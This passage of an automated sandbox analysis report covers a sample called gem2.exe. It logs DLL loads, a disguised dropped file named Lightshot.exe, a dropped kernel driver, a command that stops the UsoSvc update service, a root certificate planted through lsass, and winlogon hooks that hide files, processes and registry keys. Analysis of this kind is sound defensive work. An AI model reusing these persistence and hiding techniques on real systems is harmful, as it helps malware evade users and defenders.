Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: gem2.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: gem2.exe

Static file information: File size 2876416 > 1048576

Source: gem2.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x2b2000

Source: gem2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: Lightshot.exe, 00000025.00000003.2127811419.000002683F580000.00000004.00000001.00020000.00000000.sdmp

Source: gem2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: gem2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: gem2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: gem2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: gem2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\dialer.exe

Code function: 65_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

65_2_00000001408460F0

Source: gem2.exe	Static PE information: section name: .00cfg
Source: Lightshot.exe.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\gem2.exe	Code function: 0_2_00007FF72A7B1394 push qword ptr [00007FF72A7BE004h]; ret	0_2_00007FF72A7B1403
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E85896ACDD push rcx; retf 003Fh	29_2_000001E85896ACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E85899C6DD push rcx; retf 003Fh	29_2_000001E85899C6DE
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E8589CACDD push rcx; retf 003Fh	29_2_000001E8589CACDE
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140ADFDACDD push rcx; retf 003Fh	36_2_00000140ADFDACDE
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140AE87C6DD push rcx; retf 003Fh	36_2_00000140AE87C6DE
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 37_2_00007FF6E4D81394 push qword ptr [00007FF6E4D8E004h]; ret	37_2_00007FF6E4D81403
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5AACDD push rcx; retf 003Fh	40_2_00000195DD5AACDE
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5DC6DD push rcx; retf 003Fh	40_2_00000195DD5DC6DE
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBCACDD push rcx; retf 003Fh	41_2_000001160CBCACDE
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBFC6DD push rcx; retf 003Fh	41_2_000001160CBFC6DE
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140001394 push qword ptr [0000000140009004h]; ret	64_2_0000000140001403
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E108ACDD push rcx; retf 003Fh	66_2_00000257E108ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10BC6DD push rcx; retf 003Fh	66_2_00000257E10BC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C1EACDD push rcx; retf 003Fh	67_2_000001F28C1EACDE
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C94C6DD push rcx; retf 003Fh	67_2_000001F28C94C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA97FEACDD push rcx; retf 003Fh	68_2_000001CA97FEACDE
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA9855C6DD push rcx; retf 003Fh	68_2_000001CA9855C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D2652FACDD push rcx; retf 003Fh	69_2_000001D2652FACDE
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26532C6DD push rcx; retf 003Fh	69_2_000001D26532C6DE

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\Screenshots\Lightshot.exe

File created: C:\Windows\TEMP\yycjbdwxjaoe.sys

Jump to behavior

Source: C:\ProgramData\Screenshots\Lightshot.exe	File created: C:\Windows\Temp\yycjbdwxjaoe.sys			Jump to dropped file
Source: C:\Users\user\Desktop\gem2.exe	File created: C:\ProgramData\Screenshots\Lightshot.exe			Jump to dropped file

Source: C:\Users\user\Desktop\gem2.exe

File created: C:\ProgramData\Screenshots\Lightshot.exe

Jump to dropped file

Source: C:\ProgramData\Screenshots\Lightshot.exe

File created: C:\Windows\Temp\yycjbdwxjaoe.sys

Jump to dropped file

Source: C:\Users\user\Desktop\gem2.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Modifies the prolog of user mode functions (user mode inline hooks)

Source: winlogon.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Windows\System32\lsass.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
